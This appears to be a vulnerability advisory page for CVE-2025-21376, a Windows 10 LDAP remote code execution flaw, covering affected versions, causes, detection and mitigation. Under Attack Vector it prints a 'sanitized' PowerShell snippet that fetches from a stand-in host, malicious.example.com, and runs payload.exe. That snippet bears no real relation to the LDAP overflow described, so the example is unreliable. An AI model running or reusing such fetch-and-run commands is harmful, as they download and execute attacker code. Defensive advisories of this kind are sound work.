CVE-2025-21376: Windows 10 1507 LDAP RCE Vulnerability

CVE-2025-21376 Overview

Windows Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerability in Microsoft Windows systems can allow an authenticated attacker to execute arbitrary code remotely.

Critical Impact
This vulnerability allows for remote code execution, potentially leading to full system compromise on affected environments if exploited.

Affected Products

Microsoft Windows 10 1507
Microsoft Windows 10 1607
Microsoft Windows 10 1809

Discovery Timeline

Not Available - Vulnerability discovered by Not Available
Not Available - Responsible disclosure to Microsoft
Not Available - CVE CVE-2025-21376 assigned
Not Available - Microsoft releases security patch
2025-02-11 - CVE CVE-2025-21376 published to NVD
2025-02-26 - Last updated in NVD database

Technical Details for CVE-2025-21376

Vulnerability Analysis

The vulnerability exists due to improper handling of LDAP requests in Microsoft Windows systems, which can lead to a remote code execution scenario if exploited.

Root Cause

The root cause of this vulnerability is a memory handling issue within the LDAP component that fails to properly validate input, leading to buffer overflow conditions.

Attack Vector

The attack vector for this CVE is network-based, allowing remote attackers to exploit the flaw over a network without physical access.

powershell

// Example exploitation code (sanitized)
Invoke-WebRequest -Uri "http://malicious.example.com/ldapExploit" -Method Get
Start-Process -FilePath "C:\Windows\System32\cmd.exe" -ArgumentList "/c payload.exe"

Detection Methods for CVE-2025-21376

Indicators of Compromise

Unusual outbound LDAP requests
Execution of unknown processes
Network traffic to suspicious IP addresses

Detection Strategies

Implement strict monitoring of LDAP traffic and validate any anomalies related to outbound connections. Use IDS/IPS systems configured to detect unusual patterns.

Monitoring Recommendations

Regularly update and monitor endpoint protection logs and conduct network traffic analysis specifically looking for large, malformed LDAP packets.

How to Mitigate CVE-2025-21376

Immediate Actions Required

Disable unneeded LDAP features
Restrict LDAP access to trusted sources only
Monitor network and system logs for signs of compromise

Patch Information

Microsoft has released patches. For more details, refer to the vendor advisory.

Workarounds

Implement network-level filtering for LDAP requests and ensure firewalls are configured to minimize unnecessary exposure.

bash

# Configuration example
iptables -A INPUT -p tcp --dport 389 -s trusted_network -j ACCEPT
iptables -A INPUT -p tcp --dport 389 -j DROP